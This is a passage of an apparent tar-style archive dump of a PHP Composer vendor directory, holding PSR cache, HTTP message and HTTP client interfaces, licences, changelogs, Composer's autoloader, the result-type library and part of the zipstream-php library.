"https://www.php-fig.org/" } ], "require": { "php": "^7.2 || ^8.0" }, "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } } } psr/http-message/LICENSE000064400000002075151676714400010775 0ustar00Copyright (c) 2014 PHP Framework Interoperability Group Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. psr/http-message/README.md000064400000000774151676714400011253 0ustar00PSR Http Message ================ This repository holds all interfaces/classes/traits related to [PSR-7](http://www.php-fig.org/psr/psr-7/). Note that this is not a HTTP message implementation of its own. It is merely an interface that describes a HTTP message. See the specification for more details. Usage ----- Before reading the usage guide we recommend reading the PSR-7 interfaces method list: * [`PSR-7 Interfaces Method List`](docs/PSR7-Interfaces.md) * [`PSR-7 Usage Guide`](docs/PSR7-Usage.md)psr/http-message/CHANGELOG.md000064400000002063151676714400011576 0ustar00# Changelog All notable changes to this project will be documented in this file, in reverse chronological order by release. ## 1.0.1 - 2016-08-06 ### Added - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - Updated all `@return self` annotation references in interfaces to use `@return static`, which more closelly follows the semantics of the specification. - Updated the `MessageInterface::getHeaders()` return annotation to use the value `string[][]`, indicating the format is a nested array of strings. - Updated the `@link` annotation for `RequestInterface::withRequestTarget()` to point to the correct section of RFC 7230. - Updated the `ServerRequestInterface::withUploadedFiles()` parameter annotation to add the parameter name (`$uploadedFiles`). - Updated a `@throws` annotation for the `UploadedFileInterface::moveTo()` method to correctly reference the method parameter (it was referencing an incorrect parameter name previously). ## 1.0.0 - 2016-05-18 Initial stable release; reflects accepted PSR-7 specification. psr/simple-cache/src/CacheException.php000064400000000255151676714400014101 0ustar00<?php namespace Psr\SimpleCache; /** * Interface used for all types of exceptions thrown by the implementing library. */ interface CacheException extends \Throwable { } psr/simple-cache/src/InvalidArgumentException.php000064400000000404151676714400016163 0ustar00<?php namespace Psr\SimpleCache; /** * Exception interface for invalid cache arguments. * * When an invalid argument is passed it must throw an exception which implements * this interface */ interface InvalidArgumentException extends CacheException { } psr/simple-cache/src/CacheInterface.php000064400000011326151676714400014044 0ustar00<?php namespace Psr\SimpleCache; interface CacheInterface { /** * Fetches a value from the cache. * * @param string $key The unique key of this item in the cache. * @param mixed $default Default value to return if the key does not exist. * * @return mixed The value of the item from the cache, or $default in case of cache miss. * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function get(string $key, mixed $default = null): mixed; /** * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time. * * @param string $key The key of the item to store. * @param mixed $value The value of the item to store, must be serializable. * @param null|int|\DateInterval $ttl Optional. The TTL value of this item. If no value is sent and * the driver supports TTL then the library may set a default value * for it or let the driver take care of that. * * @return bool True on success and false on failure. * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool; /** * Delete an item from the cache by its unique key. * * @param string $key The unique cache key of the item to delete. * * @return bool True if the item was successfully removed. False if there was an error. * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function delete(string $key): bool; /** * Wipes clean the entire cache's keys. * * @return bool True on success and false on failure. */ public function clear(): bool; /** * Obtains multiple cache items by their unique keys. * * @param iterable<string> $keys A list of keys that can be obtained in a single operation. * @param mixed $default Default value to return for keys that do not exist. * * @return iterable<string, mixed> A list of key => value pairs. Cache keys that do not exist or are stale will have $default as value. * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if $keys is neither an array nor a Traversable, * or if any of the $keys are not a legal value. */ public function getMultiple(iterable $keys, mixed $default = null): iterable; /** * Persists a set of key => value pairs in the cache, with an optional TTL. * * @param iterable $values A list of key => value pairs for a multiple-set operation. * @param null|int|\DateInterval $ttl Optional. The TTL value of this item. If no value is sent and * the driver supports TTL then the library may set a default value * for it or let the driver take care of that. * * @return bool True on success and false on failure. * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if $values is neither an array nor a Traversable, * or if any of the $values are not a legal value. */ public function setMultiple(iterable $values, null|int|\DateInterval $ttl = null): bool; /** * Deletes multiple cache items in a single operation. * * @param iterable<string> $keys A list of string-based keys to be deleted. * * @return bool True if the items were successfully removed. False if there was an error. * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if $keys is neither an array nor a Traversable, * or if any of the $keys are not a legal value. */ public function deleteMultiple(iterable $keys): bool; /** * Determines whether an item is present in the cache. * * NOTE: It is recommended that has() is only to be used for cache warming type purposes * and not to be used within your live applications operations for get/set, as this method * is subject to a race condition where your has() will return true and immediately after, * another script can remove it making the state of your app out of date. * * @param string $key The cache item key. * * @return bool * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function has(string $key): bool; } psr/simple-cache/composer.json000064400000001051151676714400012434 0ustar00{ "name": "psr/simple-cache", "description": "Common interfaces for simple caching", "keywords": ["psr", "psr-16", "cache", "simple-cache", "caching"], "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "require": { "php": ">=8.0.0" }, "autoload": { "psr-4": { "Psr\\SimpleCache\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "3.0.x-dev" } } } psr/simple-cache/.editorconfig000064400000000417151676714400012374 0ustar00; This file is for unifying the coding style for different editors and IDEs. ; More information at http://editorconfig.org root = true [*] charset = utf-8 indent_size = 4 indent_style = space end_of_line = lf insert_final_newline = true trim_trailing_whitespace = true psr/simple-cache/README.md000064400000001063151676714400011174 0ustar00PHP FIG Simple Cache PSR ======================== This repository holds all interfaces related to PSR-16. Note that this is not a cache implementation of its own. It is merely an interface that describes a cache implementation. See [the specification](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-16-simple-cache.md) for more details. You can find implementations of the specification by looking for packages providing the [psr/simple-cache-implementation](https://packagist.org/providers/psr/simple-cache-implementation) virtual package. psr/simple-cache/LICENSE.md000064400000002161151676714400011321 0ustar00# The MIT License (MIT) Copyright (c) 2016 PHP Framework Interoperability Group > Permission is hereby granted, free of charge, to any person obtaining a copy > of this software and associated documentation files (the "Software"), to deal > in the Software without restriction, including without limitation the rights > to use, copy, modify, merge, publish, distribute, sublicense, and/or sell > copies of the Software, and to permit persons to whom the Software is > furnished to do so, subject to the following conditions: > > The above copyright notice and this permission notice shall be included in > all copies or substantial portions of the Software. > > THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR > IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, > FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE > AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER > LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, > OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN > THE SOFTWARE. psr/http-client/src/RequestExceptionInterface.php000064400000001112151676714400016241 0ustar00<?php namespace Psr\Http\Client; use Psr\Http\Message\RequestInterface; /** * Exception for when a request failed. * * Examples: * - Request is invalid (e.g. method is missing) * - Runtime request errors (e.g. the body stream is not seekable) */ interface RequestExceptionInterface extends ClientExceptionInterface { /** * Returns the request. * * The request object MAY be a different object from the one passed to ClientInterface::sendRequest() * * @return RequestInterface */ public function getRequest(): RequestInterface; } psr/http-client/src/NetworkExceptionInterface.php000064400000001222151676714400016244 0ustar00<?php namespace Psr\Http\Client; use Psr\Http\Message\RequestInterface; /** * Thrown when the request cannot be completed because of network issues. * * There is no response object as this exception is thrown when no response has been received. * * Example: the target host name can not be resolved or the connection failed. */ interface NetworkExceptionInterface extends ClientExceptionInterface { /** * Returns the request. * * The request object MAY be a different object from the one passed to ClientInterface::sendRequest() * * @return RequestInterface */ public function getRequest(): RequestInterface; } psr/http-client/src/ClientExceptionInterface.php000064400000000253151676714400016034 0ustar00<?php namespace Psr\Http\Client; /** * Every HTTP client related exception MUST implement this interface. */ interface ClientExceptionInterface extends \Throwable { } psr/http-client/src/ClientInterface.php000064400000000764151676714400014164 0ustar00<?php namespace Psr\Http\Client; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; interface ClientInterface { /** * Sends a PSR-7 request and returns a PSR-7 response. * * @param RequestInterface $request * * @return ResponseInterface * * @throws \Psr\Http\Client\ClientExceptionInterface If an error happens while processing the request. */ public function sendRequest(RequestInterface $request): ResponseInterface; } psr/http-client/composer.json000064400000001327151676714400012343 0ustar00{ "name": "psr/http-client", "description": "Common interface for HTTP clients", "keywords": ["psr", "psr-18", "http", "http-client"], "homepage": "https://github.com/php-fig/http-client", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "support": { "source": "https://github.com/php-fig/http-client" }, "require": { "php": "^7.0 || ^8.0", "psr/http-message": "^1.0 || ^2.0" }, "autoload": { "psr-4": { "Psr\\Http\\Client\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } } } psr/http-client/LICENSE000064400000002075151676714400010627 0ustar00Copyright (c) 2017 PHP Framework Interoperability Group Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. psr/http-client/README.md000064400000001045151676714400011075 0ustar00HTTP Client =========== This repository holds all the common code related to [PSR-18 (HTTP Client)][psr-url]. Note that this is not a HTTP Client implementation of its own. It is merely abstractions that describe the components of a HTTP Client. The installable [package][package-url] and [implementations][implementation-url] are listed on Packagist. [psr-url]: https://www.php-fig.org/psr/psr-18 [package-url]: https://packagist.org/packages/psr/http-client [implementation-url]: https://packagist.org/providers/psr/http-client-implementation psr/http-client/CHANGELOG.md000064400000000771151676714400011434 0ustar00# Changelog All notable changes to this project will be documented in this file, in reverse chronological order by release. ## 1.0.3 Add `source` link in composer.json. No code changes. ## 1.0.2 Allow PSR-7 (psr/http-message) 2.0. No code changes. ## 1.0.1 Allow installation with PHP 8. No code changes. ## 1.0.0 First stable release. No changes since 0.3.0. ## 0.3.0 Added Interface suffix on exceptions ## 0.2.0 All exceptions are in `Psr\Http\Client` namespace ## 0.1.0 First release autoload.php000064400000001403151676714400007076 0ustar00<?php // autoload.php @generated by Composer if (PHP_VERSION_ID < 50600) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL; if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, $err); } elseif (!headers_sent()) { echo $err; } } trigger_error( $err, E_USER_ERROR ); } require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInitd4fb758ce07a1e1b7b60b809e775e8c0::getLoader(); graham-campbell/result-type/src/Result.php000064400000002532151676714400014650 0ustar00<?php declare(strict_types=1); /* * This file is part of Result Type. * * (c) Graham Campbell <hello@gjcampbell.co.uk> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace GrahamCampbell\ResultType; /** * @template T * @template E */ abstract class Result { /** * Get the success option value. * * @return \PhpOption\Option<T> */ abstract public function success(); /** * Map over the success value. * * @template S * * @param callable(T):S $f * * @return \GrahamCampbell\ResultType\Result<S,E> */ abstract public function map(callable $f); /** * Flat map over the success value. * * @template S * @template F * * @param callable(T):\GrahamCampbell\ResultType\Result<S,F> $f * * @return \GrahamCampbell\ResultType\Result<S,F> */ abstract public function flatMap(callable $f); /** * Get the error option value. * * @return \PhpOption\Option<E> */ abstract public function error(); /** * Map over the error value. * * @template F * * @param callable(E):F $f * * @return \GrahamCampbell\ResultType\Result<T,F> */ abstract public function mapError(callable $f); } graham-campbell/result-type/src/Error.php000064400000004327151676714400014467 0ustar00<?php declare(strict_types=1); /* * This file is part of Result Type. * * (c) Graham Campbell <hello@gjcampbell.co.uk> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace GrahamCampbell\ResultType; use PhpOption\None; use PhpOption\Some; /** * @template T * @template E * * @extends \GrahamCampbell\ResultType\Result<T,E> */ final class Error extends Result { /** * @var E */ private $value; /** * Internal constructor for an error value. * * @param E $value * * @return void */ private function __construct($value) { $this->value = $value; } /** * Create a new error value. * * @template F * * @param F $value * * @return \GrahamCampbell\ResultType\Result<T,F> */ public static function create($value) { return new self($value); } /** * Get the success option value. * * @return \PhpOption\Option<T> */ public function success() { return None::create(); } /** * Map over the success value. * * @template S * * @param callable(T):S $f * * @return \GrahamCampbell\ResultType\Result<S,E> */ public function map(callable $f) { return self::create($this->value); } /** * Flat map over the success value. * * @template S * @template F * * @param callable(T):\GrahamCampbell\ResultType\Result<S,F> $f * * @return \GrahamCampbell\ResultType\Result<S,F> */ public function flatMap(callable $f) { /** @var \GrahamCampbell\ResultType\Result<S,F> */ return self::create($this->value); } /** * Get the error option value. * * @return \PhpOption\Option<E> */ public function error() { return Some::create($this->value); } /** * Map over the error value. * * @template F * * @param callable(E):F $f * * @return \GrahamCampbell\ResultType\Result<T,F> */ public function mapError(callable $f) { return self::create($f($this->value)); } } graham-campbell/result-type/src/Success.php000064400000004225151676714400015003 0ustar00<?php declare(strict_types=1); /* * This file is part of Result Type. * * (c) Graham Campbell <hello@gjcampbell.co.uk> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace GrahamCampbell\ResultType; use PhpOption\None; use PhpOption\Some; /** * @template T * @template E * * @extends \GrahamCampbell\ResultType\Result<T,E> */ final class Success extends Result { /** * @var T */ private $value; /** * Internal constructor for a success value. * * @param T $value * * @return void */ private function __construct($value) { $this->value = $value; } /** * Create a new error value. * * @template S * * @param S $value * * @return \GrahamCampbell\ResultType\Result<S,E> */ public static function create($value) { return new self($value); } /** * Get the success option value. * * @return \PhpOption\Option<T> */ public function success() { return Some::create($this->value); } /** * Map over the success value. * * @template S * * @param callable(T):S $f * * @return \GrahamCampbell\ResultType\Result<S,E> */ public function map(callable $f) { return self::create($f($this->value)); } /** * Flat map over the success value. * * @template S * @template F * * @param callable(T):\GrahamCampbell\ResultType\Result<S,F> $f * * @return \GrahamCampbell\ResultType\Result<S,F> */ public function flatMap(callable $f) { return $f($this->value); } /** * Get the error option value. * * @return \PhpOption\Option<E> */ public function error() { return None::create(); } /** * Map over the error value. * * @template F * * @param callable(E):F $f * * @return \GrahamCampbell\ResultType\Result<T,F> */ public function mapError(callable $f) { return self::create($this->value); } } graham-campbell/result-type/composer.json000064400000001607151676714400014616 0ustar00{ "name": "graham-campbell/result-type", "description": "An Implementation Of The Result Type", "keywords": ["result", "result-type", "Result", "Result Type", "Result-Type", "Graham Campbell", "GrahamCampbell"], "license": "MIT", "authors": [ { "name": "Graham Campbell", "email": "hello@gjcampbell.co.uk", "homepage": "https://github.com/GrahamCampbell" } ], "require": { "php": "^7.2.5 || ^8.0", "phpoption/phpoption": "^1.9.2" }, "require-dev": { "phpunit/phpunit": "^8.5.34 || ^9.6.13 || ^10.4.2" }, "autoload": { "psr-4": { "GrahamCampbell\\ResultType\\": "src/" } }, "autoload-dev": { "psr-4": { "GrahamCampbell\\Tests\\ResultType\\": "tests/" } }, "config": { "preferred-install": "dist" } } graham-campbell/result-type/LICENSE000064400000002130151676714400013071 0ustar00The MIT License (MIT) Copyright (c) 2020-2023 Graham Campbell <hello@gjcampbell.co.uk> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. maennchen/zipstream-php/src/GeneralPurposeBitFlag.php000064400000004613151676714400017006 0ustar00<?php declare(strict_types=1); namespace ZipStream; /** * @internal */ abstract class GeneralPurposeBitFlag { /** * If set, indicates that the file is encrypted. */ public const ENCRYPTED = 1 << 0; /** * (For Methods 8 and 9 - Deflating) * Normal (-en) compression option was used. */ public const DEFLATE_COMPRESSION_NORMAL = 0 << 1; /** * (For Methods 8 and 9 - Deflating) * Maximum (-exx/-ex) compression option was used. */ public const DEFLATE_COMPRESSION_MAXIMUM = 1 << 1; /** * (For Methods 8 and 9 - Deflating) * Fast (-ef) compression option was used. */ public const DEFLATE_COMPRESSION_FAST = 10 << 1; /** * (For Methods 8 and 9 - Deflating) * Super Fast (-es) compression option was used. */ public const DEFLATE_COMPRESSION_SUPERFAST = 11 << 1; /** * If the compression method used was type 14, * LZMA, then this bit, if set, indicates * an end-of-stream (EOS) marker is used to * mark the end of the compressed data stream. * If clear, then an EOS marker is not present * and the compressed data size must be known * to extract. */ public const LZMA_EOS = 1 << 1; /** * If this bit is set, the fields crc-32, compressed * size and uncompressed size are set to zero in the * local header. The correct values are put in the * data descriptor immediately following the compressed * data. */ public const ZERO_HEADER = 1 << 3; /** * If this bit is set, this indicates that the file is * compressed patched data. */ public const COMPRESSED_PATCHED_DATA = 1 << 5; /** * Strong encryption. If this bit is set, you MUST * set the version needed to extract value to at least * 50 and you MUST also set bit 0. If AES encryption * is used, the version needed to extract value MUST * be at least 51. */ public const STRONG_ENCRYPTION = 1 << 6; /** * Language encoding flag (EFS). If this bit is set, * the filename and comment fields for this file * MUST be encoded using UTF-8. */ public const EFS = 1 << 11; /** * Set when encrypting the Central Directory to indicate * selected data values in the Local Header are masked to * hide their actual values. */ public const ENCRYPT_CENTRAL_DIRECTORY = 1 << 13; } maennchen/zipstream-php/src/Time.php000064400000002133151676714400013513 0ustar00<?php declare(strict_types=1); namespace ZipStream; use DateInterval; use DateTimeImmutable; use DateTimeInterface; use ZipStream\Exception\DosTimeOverflowException; /** * @internal */ abstract class Time { private const DOS_MINIMUM_DATE = '1980-01-01 00:00:00Z'; public static function dateTimeToDosTime(DateTimeInterface $dateTime): int { $dosMinimumDate = new DateTimeImmutable(self::DOS_MINIMUM_DATE); if ($dateTime->getTimestamp() < $dosMinimumDate->getTimestamp()) { throw new DosTimeOverflowException(dateTime: $dateTime); } $dateTime = DateTimeImmutable::createFromInterface($dateTime)->sub(new DateInterval('P1980Y')); ['year' => $year, 'mon' => $month, 'mday' => $day, 'hours' => $hour, 'minutes' => $minute, 'seconds' => $second ] = getdate($dateTime->getTimestamp()); return ($year << 25) | ($month << 21) | ($day << 16) | ($hour << 11) | ($minute << 5) | ($second >> 1); } } maennchen/zipstream-php/src/CompressionMethod.php000064400000004132151676714400016260 0ustar00<?php declare(strict_types=1); namespace ZipStream; enum CompressionMethod: int { /** * The file is stored (no compression) */ case STORE = 0x00; // 0x01: legacy algorithm - The file is Shrunk // 0x02: legacy algorithm - The file is Reduced with compression factor 1 // 0x03: legacy algorithm - The file is Reduced with compression factor 2 // 0x04: legacy algorithm - The file is Reduced with compression factor 3 // 0x05: legacy algorithm - The file is Reduced with compression factor 4 // 0x06: legacy algorithm - The file is Imploded // 0x07: Reserved for Tokenizing compression algorithm /** * The file is Deflated */ case DEFLATE = 0x08; // /** // * Enhanced Deflating using Deflate64(tm) // */ // case DEFLATE_64 = 0x09; // /** // * PKWARE Data Compression Library Imploding (old IBM TERSE) // */ // case PKWARE = 0x0a; // // 0x0b: Reserved by PKWARE // /** // * File is compressed using BZIP2 algorithm // */ // case BZIP2 = 0x0c; // // 0x0d: Reserved by PKWARE // /** // * LZMA // */ // case LZMA = 0x0e; // // 0x0f: Reserved by PKWARE // /** // * IBM z/OS CMPSC Compression // */ // case IBM_ZOS_CMPSC = 0x10; // // 0x11: Reserved by PKWARE // /** // * File is compressed using IBM TERSE // */ // case IBM_TERSE = 0x12; // /** // * IBM LZ77 z Architecture // */ // case IBM_LZ77 = 0x13; // // 0x14: deprecated (use method 93 for zstd) // /** // * Zstandard (zstd) Compression // */ // case ZSTD = 0x5d; // /** // * MP3 Compression // */ // case MP3 = 0x5e; // /** // * XZ Compression // */ // case XZ = 0x5f; // /** // * JPEG variant // */ // case JPEG = 0x60; // /** // * WavPack compressed data // */ // case WAV_PACK = 0x61; // /** // * PPMd version I, Rev 1 // */ // case PPMD_1_1 = 0x62; // /** // * AE-x encryption marker // */ // case AE_X_ENCRYPTION = 0x63; } maennchen/zipstream-php/src/PackField.php000064400000002700151676714400014437 0ustar00<?php declare(strict_types=1); namespace ZipStream; use RuntimeException; /** * @internal * TODO: Make class readonly when requiring PHP 8.2 exclusively */ class PackField { public const MAX_V = 0xFFFFFFFF; public const MAX_v = 0xFFFF; public function __construct( public readonly string $format, public readonly int|string $value ) { } /** * Create a format string and argument list for pack(), then call * pack() and return the result. */ public static function pack(self ...$fields): string { $fmt = array_reduce($fields, function (string $acc, self $field) { return $acc . $field->format; }, ''); $args = array_map(function (self $field) { switch($field->format) { case 'V': if ($field->value > self::MAX_V) { throw new RuntimeException(print_r($field->value, true) . ' is larger than 32 bits'); } break; case 'v': if ($field->value > self::MAX_v) { throw new RuntimeException(print_r($field->value, true) . ' is larger than 16 bits'); } break; case 'P': break; default: break; } return $field->value; }, $fields); return pack($fmt, ...$args); } } maennchen/zipstream-php/src/ZipStream.php000064400000066126151676714400014547 0ustar00<?php declare(strict_types=1); namespace ZipStream; use Closure; use DateTimeImmutable; use DateTimeInterface; use GuzzleHttp\Psr7\StreamWrapper; use Psr\Http\Message\StreamInterface; use RuntimeException; use ZipStream\Exception\FileNotFoundException; use ZipStream\Exception\FileNotReadableException; use ZipStream\Exception\OverflowException; use ZipStream\Exception\ResourceActionException; /** * Streamed, dynamically generated zip archives. * * ## Usage * * Streaming zip archives is a simple, three-step process: * * 1. Create the zip stream: * * ```php * $zip = new ZipStream(outputName: 'example.zip'); * ``` * * 2. Add one or more files to the archive: * * ```php * // add first file * $zip->addFile(fileName: 'world.txt', data: 'Hello World'); * * // add second file * $zip->addFile(fileName: 'moon.txt', data: 'Hello Moon'); * ``` * * 3. Finish the zip stream: * * ```php * $zip->finish(); * ``` * * You can also add an archive comment, add comments to individual files, * and adjust the timestamp of files. See the API documentation for each * method below for additional information. * * ## Example * * ```php * // create a new zip stream object * $zip = new ZipStream(outputName: 'some_files.zip'); * * // list of local files * $files = array('foo.txt', 'bar.jpg'); * * // read and add each file to the archive * foreach ($files as $path) * $zip->addFileFormPath(fileName: $path, $path); * * // write archive footer to stream * $zip->finish(); * ``` */ class ZipStream { /** * This number corresponds to the ZIP version/OS used (2 bytes) * From: https://www.iana.org/assignments/media-types/application/zip * The upper byte (leftmost one) indicates the host system (OS) for the * file. Software can use this information to determine * the line record format for text files etc. The current * mappings are: * * 0 - MS-DOS and OS/2 (F.A.T. file systems) * 1 - Amiga 2 - VAX/VMS * 3 - *nix 4 - VM/CMS * 5 - Atari ST 6 - OS/2 H.P.F.S. * 7 - Macintosh 8 - Z-System * 9 - CP/M 10 thru 255 - unused * * The lower byte (rightmost one) indicates the version number of the * software used to encode the file. The value/10 * indicates the major version number, and the value * mod 10 is the minor version number. * Here we are using 6 for the OS, indicating OS/2 H.P.F.S. * to prevent file permissions issues upon extract (see #84) * 0x603 is 00000110 00000011 in binary, so 6 and 3 * * @internal */ public const ZIP_VERSION_MADE_BY = 0x603; private bool $ready = true; private int $offset = 0; /** * @var string[] */ private array $centralDirectoryRecords = []; /** * @var resource */ private $outputStream; private readonly Closure $httpHeaderCallback; /** * @var File[] */ private array $recordedSimulation = []; /** * Create a new ZipStream object. * * ##### Examples * * ```php * // create a new zip file named 'foo.zip' * $zip = new ZipStream(outputName: 'foo.zip'); * * // create a new zip file named 'bar.zip' with a comment * $zip = new ZipStream( * outputName: 'bar.zip', * comment: 'this is a comment for the zip file.', * ); * ``` * * @param OperationMode $operationMode * The mode can be used to switch between `NORMAL` and `SIMULATION_*` modes. * For details see the `OperationMode` documentation. * * Default to `NORMAL`. * * @param string $comment * Archive Level Comment * * @param StreamInterface|resource|null $outputStream * Override the output of the archive to a different target. * * By default the archive is sent to `STDOUT`. * * @param CompressionMethod $defaultCompressionMethod * How to handle file compression. Legal values are * `CompressionMethod::DEFLATE` (the default), or * `CompressionMethod::STORE`. `STORE` sends the file raw and is * significantly faster, while `DEFLATE` compresses the file and * is much, much slower. * * @param int $defaultDeflateLevel * Default deflation level. Only relevant if `compressionMethod` * is `DEFLATE`. * * See details of [`deflate_init`](https://www.php.net/manual/en/function.deflate-init.php#refsect1-function.deflate-init-parameters) * * @param bool $enableZip64 * Enable Zip64 extension, supporting very large * archives (any size > 4 GB or file count > 64k) * * @param bool $defaultEnableZeroHeader * Enable streaming files with single read. * * When the zero header is set, the file is streamed into the output * and the size & checksum are added at the end of the file. This is the * fastest method and uses the least memory. Unfortunately not all * ZIP clients fully support this and can lead to clients reporting * the generated ZIP files as corrupted in combination with other * circumstances. (Zip64 enabled, using UTF8 in comments / names etc.) * * When the zero header is not set, the length & checksum need to be * defined before the file is actually added. To prevent loading all * the data into memory, the data has to be read twice. If the data * which is added is not seekable, this call will fail. * * @param bool $sendHttpHeaders * Boolean indicating whether or not to send * the HTTP headers for this file. * * @param ?Closure $httpHeaderCallback * The method called to send HTTP headers * * @param string|null $outputName * The name of the created archive. * * Only relevant if `$sendHttpHeaders = true`. * * @param string $contentDisposition * HTTP Content-Disposition * * Only relevant if `sendHttpHeaders = true`. * * @param string $contentType * HTTP Content Type * * Only relevant if `sendHttpHeaders = true`. * * @param bool $flushOutput * Enable flush after every write to output stream. * * @return self */ public function __construct( private OperationMode $operationMode = OperationMode::NORMAL, private readonly string $comment = '', $outputStream = null, private readonly CompressionMethod $defaultCompressionMethod = CompressionMethod::DEFLATE, private readonly int $defaultDeflateLevel = 6, private readonly bool $enableZip64 = true, private readonly bool $defaultEnableZeroHeader = true, private bool $sendHttpHeaders = true, ?Closure $httpHeaderCallback = null, private readonly ?string $outputName = null, private readonly string $contentDisposition = 'attachment', private readonly string $contentType = 'application/x-zip', private bool $flushOutput = false, ) { $this->outputStream = self::normalizeStream($outputStream); $this->httpHeaderCallback = $httpHeaderCallback ?? header(...); } /** * Add a file to the archive. * * ##### File Options * * See {@see addFileFromPsr7Stream()} * * ##### Examples * * ```php * // add a file named 'world.txt' * $zip->addFile(fileName: 'world.txt', data: 'Hello World!'); * * // add a file named 'bar.jpg' with a comment and a last-modified * // time of two hours ago * $zip->addFile( * fileName: 'bar.jpg', * data: $data, * comment: 'this is a comment about bar.jpg', * lastModificationDateTime: new DateTime('2 hours ago'), * ); * ``` * * @param string $data * * contents of file */ public function addFile( string $fileName, string $data, string $comment = '', ?CompressionMethod $compressionMethod = null, ?int $deflateLevel = null, ?DateTimeInterface $lastModificationDateTime = null, ?int $maxSize = null, ?int $exactSize = null, ?bool $enableZeroHeader = null, ): void { $this->addFileFromCallback( fileName: $fileName, callback: fn () => $data, comment: $comment, compressionMethod: $compressionMethod, deflateLevel: $deflateLevel, lastModificationDateTime: $lastModificationDateTime, maxSize: $maxSize, exactSize: $exactSize, enableZeroHeader: $enableZeroHeader, ); } /** * Add a file at path to the archive. * * ##### File Options * * See {@see addFileFromPsr7Stream()} * * ###### Examples * * ```php * // add a file named 'foo.txt' from the local file '/tmp/foo.txt' * $zip->addFileFromPath( * fileName: 'foo.txt', * path: '/tmp/foo.txt', * ); * * // add a file named 